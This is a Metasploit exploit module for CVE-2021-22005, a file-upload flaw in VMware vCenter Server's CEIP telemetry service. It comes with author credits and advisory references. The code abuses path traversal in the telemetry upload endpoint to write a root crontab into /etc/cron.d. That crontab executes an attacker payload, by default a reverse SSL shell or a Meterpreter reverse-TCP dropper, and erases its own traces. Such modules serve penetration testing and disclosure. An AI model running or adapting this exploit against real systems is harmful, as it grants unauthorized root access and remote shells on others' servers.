VMware vCenter Server Analytics (CEIP) Service File Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',  
'Description' => %q{  
This module exploits a file upload in VMware vCenter Server's  
analytics/telemetry (CEIP) service to write a system crontab and  
execute shell commands as the root user.  
  
Note that CEIP must be enabled for the target to be exploitable by  
this module. CEIP is enabled by default.  
},  
'Author' => [  
'George Noseevich', # Discovery  
'Sergey Gerasimov', # Discovery  
'VMware', # Initial PoC  
'Derek Abdine', # Analysis  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2021-22005'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],  
['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],  
['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],  
['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']  
],  
'DisclosureDate' => '2021-09-21',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'WfsDelay' => 60  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),  
'vars_get' => {  
'_c' => ''  
}  
)  
  
return CheckCode::Unknown unless res  
  
unless res.code == 200 && res.body == '"FULL"'  
return CheckCode::Safe('CEIP is not fully enabled.')  
end  
  
CheckCode::Appears('CEIP is fully enabled.')  
end  
  
def exploit  
print_status('Creating path traversal')  
  
unless write_file(rand_text_alphanumeric(8..16))  
fail_with(Failure::NotVulnerable, 'Failed to create path traversal')  
end  
  
print_good('Successfully created path traversal')  
  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
  
print_warning("Please wait up to #{wfs_delay} seconds for a session")  
end  
  
def execute_command(cmd, _opts = {})  
print_status("Writing system crontab: #{crontab_path}")  
  
crontab_file = crontab(cmd)  
vprint_line(crontab_file)  
  
unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)  
fail_with(Failure::PayloadFailed, 'Failed to write system crontab')  
end  
  
print_good('Successfully wrote system crontab')  
end  
  
def write_file(path, data = nil)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),  
'ctype' => 'application/json',  
'vars_get' => {  
'_c' => '',  
'_i' => "/#{path}"  
},  
'data' => data  
)  
  
return false unless res&.code == 201  
  
true  
end  
  
def crontab(cmd)  
# https://man7.org/linux/man-pages/man5/crontab.5.html  
<<~CRONTAB.strip  
* * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/  
* * * * * root #{cmd}  
CRONTAB  
end  
  
def crontab_path  
"/etc/cron.d/#{crontab_name}.json"  
end  
  
def crontab_name  
@crontab_name ||= rand_text_alphanumeric(8..16)  
end  
  
end  
`